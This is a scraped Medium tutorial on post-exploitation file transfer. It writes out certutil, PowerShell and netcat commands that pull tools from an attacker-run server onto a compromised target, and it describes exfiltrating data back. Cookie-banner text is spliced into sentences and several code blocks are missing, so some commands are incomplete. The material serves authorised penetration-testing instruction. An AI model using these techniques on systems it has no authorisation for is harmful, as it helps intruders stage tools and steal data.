File Transfer
File Transfer
File Transfer
To make Medium work, we log user data. By using Medium, you agree to
our Privacy Policy, including cookie policy.
Listen Share
Introduction
File Transfer is a crucial, and in most cases, an inevitable step of Post-
Exploitation. You’ve successfully gained initial access on your target machine,
and with file transfers, you can upload tools on the target to try and elevate your
privileges, exfiltrate sensitive data from the target back to your machine or just
move around files to/from the target and you.
Today, we’ll cover some of the popular (and not popular) ways to file transfer
from our attacker machine (preferrably Kali Linux) to a Windows or Linux target.
I’ll cover how to set up a server on the attacker machine and then show how the
target get download the file and vice versa. At the end, we’ll cover the weaknesses
of plaintext file transfers and demonstrate some encrypted methods of file
transfer.
NOTE: Medium’s formatting makes “e”s that are enclosed in code blocks and are
italicised have a trailing space following it. To show an example: this "file " .
THERE IS NOToSPACE AFTER THE “e”. However, there are some cases where there
make Medium work, we log user data. By using Medium, you agree to
is supposed to
ourbe a space
Privacy Policy, after the
including “e”;policy.
cookie you just have to use your senses :P
SimpleHTTPServer
SimpleHTTPServer Server
There are only 2 very, very minor downsides of SimpleHTTPServer and that is the
fact that (1) when you Ctrl+C to stop the server, it gives you a mess of errors and
(2) this isn’t the shortest command to set up a HTTP server.
http.server
Http.server Server
To make Medium work, we log user data. By using Medium, you agree to
python3 -m http.server [port] uses a lesser known module in Python 3 called
our Privacy Policy, including cookie policy.
http.server, and it sets up a HTTP server, on port 8000 by default, just like
SimpleHTTPServer. But the advantages of http.server over SimpleHTTPServer
are:
1. You don’t get that mess of errors when you stop the server
2. It’s a shorter, easier to type command
3. Who doesn’t love Python3 ;)
Just one word of warning about HTTP servers is that whatever directory you run
the command in becomes the root directory of the HTTP server, which means
you won’t be able to access files that are lower in the filesystem.
Apache
A longer method to start up a HTTP server, in the case that Python or the
modules are not available on your machine, is by using Apache.
First, move the file you want to transfer to the /var/www/html directory with mv
file /var/www/html/ and start the Apache2 service with service apache2 start . We
can verify that the server is indeed running and serving our file by browsing to
our file in a web browser.
To make Medium work, we log user data. By using Medium, you agree to
our Privacy Policy, including cookie policy.
On the Target…
On the target, for both Windows and Linux, if you have GUI access, you can
simply open up a web browser and download the files you want. For CLI ways to
download files from a HTTP server, check the Windows and Linux sections below
(namely certutil/powershell/vbscript for Windows and wget/curl for Linux).
Once you have set up your HTTP server with SimpleHTTPServer, http.server or
Apache, simply run this command on the target:
certutil -urlcache -split -f "http:// ip-addr : port / file " [ output-file ]
To make Medium work, we log user data. By using Medium, you agree to
our Privacy Policy, including cookie policy.
Powershell
Powershell is an advanced version of the standard cmd.exe with scripting
capabilities. It is installed by default in Windows 7 and 2008, and later versions.
You can use a Powershell one-liner to download a file from a HTTP server, like
this:
powershell -c (New-Object Net.WebClient).DownloadFile('http://ip-addr:port
/file', 'output-file')
One thing to note: you MUST use single quotes for the URL and output file, and
using double quotes will not work (I can tell you this because I spent 10 minutes
trying to figure out why my Powershell command didn’t work).
VBScript
VBScript, or Visual Basic Scripting Edition, is another language with which you
can download files with. I generally don’t prefer using VBScript as you need to
individually insert tens of lines of commands into a file to execute (in reality you
would copy paste the commands all at once, but it’s still a hassle), but if your
target is a Windows XP or 2003, you might consider using this method every now
and then.
Here’s the full list of commands (you can find a better-formatted version here):
To make Medium work, we log user data. By using Medium, you agree to
our Privacy Policy, including cookie policy.
output-file .
To make Medium work, we log user data. By using Medium, you agree to
our Privacy Policy, including cookie policy.
FTP
Pyftpdlib
FTP is another common method of file transfer, and FTP clients are usually
installed by default on Windows machines. The Python module pyftpdlib allows
you to quickly set up an FTP server, hassle-free. You can install it using sudo apt-
Pyftpdlib Installation
Once downloaded, simply set up an FTP server with python -m pyftpdlib [-p
port] . The default port pyftpdlib uses is port 2121. You can also append the
-w option to allow anonymous write, so that the target can anonymously upload
files to the attacker machine.
Pyftpdlib Server
Pure-ftpd To make Medium work, we log user data. By using Medium, you agree to
You can download pure-ftpd
our Privacy withcookie
Policy, including sudopolicy.
apt-get install pure-ftpd
Pure-ftpd Installation
Pure-ftpd Server
To verify that the service is indeed running, run service pure-ftpd status . To
close down the server, run service pure-ftpd stop .
On the Target…
Most of the times, the initial shell we gain on the target won’t be interactive,
which means running an interactive command which requires further input from
the user (e.g. text editor, FTP connection) won’t work properly, and can crash the
shell. But FTP requires user interaction, so how do we work around this?
The trick is to create a file with all the FTP commands we need, and run it all at
once. The file creation looks like this:
To run this whole file, use ftp -v -n -s:ftp.txt and you will see the commands
being automatically executed.
TFTP
Atftpd
Atftpd allows a quick setup of a TFTP server in Kali Linux, with just a single
command atftpd --daemon --port 69 root-dir . You must specify the directory
To make Medium work, we log user data. By using Medium, you agree to
that the TFTPourserver
Privacy will
Policy,use as the
including root.
cookie As a side note, TFTP uses UDP as its
policy.
On the Target…
Windows XP and 2003 and earlier have a TFTP client pre-installed, whereas
Windows 7 and 2008 and later need to be specifically installed. However, there
are plenty of use cases for TFTP file transfers.
TFTP Download
SMB
SMB is another convenient file transfer protocol, which is very common amongst
Windows environments. You can easily set up an SMB server with Impacket’s
smbserver.py program like this:
python /usr/share/doc/python-impacket/examples/smbserver.py share-name root-dir .
On the target, you can view the available shares on the SMB server with net view
\\ip-addr . To view the files available in the share, simply use dir \\ip-
addr\share-name .
To make Medium work, we log user data. By using Medium, you agree to
our Privacy Policy, including cookie policy.
SMB Download
addr[:port]/file[-o output-file] .
A lesser known usage of wget is its ability to download FTP files as well. To do
that, simply prepend a ftp:// before the URL. If the FTP server needs credentials,
specify them with --ftp-user=username and
--ftp-password=pass.
To make Medium work, we log user data. By using Medium, you agree to
our Privacy Policy, including cookie policy.
One downside of this is that when it downloads an executable file, the file cannot
be executed. Normal FTP server connections have a binary command to allow
executable files to be preserved throughout the transfer, but wget doesn’t support
this.
Curl
Most Linux targets, and OSX machines, have the curl command available out-of-
the-box. Curl is similar to wget in that it provides an easy method of downloading
files from an HTTP server.
Netcat can also be used to manually download files from an HTTP server. You can
nc to a HTTP server and send a GET request for a file. The one-liner is echo "GET
/file HTTP/1.0" | nc -n ip-addr port > out-file && sed -i '1,7d' out-file .
GET response header is redirected as well, and if left untouched, can corrupt an
executable file.
The trick is by first encoding the file in Base 64. We can do this by using Python:
python -c 'print(__import__("base64").b64encode(open("file", "rb").read()))' .
Then, on the target, we can copy and paste the string into a .txt file with echo
"string" > output.txt , and use base64 to decode the file, with base64 -d
The second method is to use the Secure Copy Protocol, or SCP, which uses SSH to
securely transfer files. You can start the SSH server easily on your Kali Linux with
service ssh start .
On the target, we need to create a file, line by line, which will enter the SSH
password in, and download the remote file. The only reason that a one-liner
doesn’t work is because SCP prompts the user for a password, and simply echoing
the password and piping it to the command won’t work. The list of commands to
build the file looks like this:
Important note: you MUST use single quotes to surround the lines, as using
double quotes will overlap with the double quotes that are included within the
line, and will cause an issue with the first line.
To make Medium work, we log user data. By using Medium, you agree to
our Privacy Policy, including cookie policy.
SCP Download
Further Digging
Other File Transfer Methods: https://isroot.nl/2018/07/09/post-exploitation-file-
Penetration Testing File Transfer Linux Windows Hacking
transfers-on-windows-the-manual-way/
Certutil.exe: https://docs.microsoft.com/en-us/windows-server/administration
/windows-commands/certutil
Passing the password to SCP: https://stackoverflow.com/questions/
50096/how-to-pass-password-to-scp
Follow
Written by PenTest-duck
279 Followers
PenTest-duck
129 1
PenTest-duck
Offensive Netcat/Ncat:
To make Medium work, From
we logPort Scanning
user data. To Bind
By using Medium, Shell
you agree to IP
our Privacy Policy, including cookie policy.
Whitelisting
In this post, we’ll be exploring Netcat’s limitless offensive potentials and a brief look at how
Ncat takes Netcat to the next level
85
PenTest-duck
136 2
To make Medium work, we log user data. By using Medium, you agree to
our Privacy Policy, including cookie policy.
PenTest-duck
Recommended
6 from Medium
6.3K 66
654 9
Lists
Staff Picks
364 stories · 120 saves
To make Medium work, we log user data. By using Medium, you agree to
our Privacy Policy, including cookie policy.
Viktor Mares
Code Injection via Python Sandbox Escape — how I got a shell inside a
network.
Hi Everyone,
36
Dr. Derek Austin � in Better Programming
1.1K 51
25K 441
To make Medium work, we log user data. By using Medium, you agree to
our Privacy Policy, including cookie policy.
Unbecoming
51K 802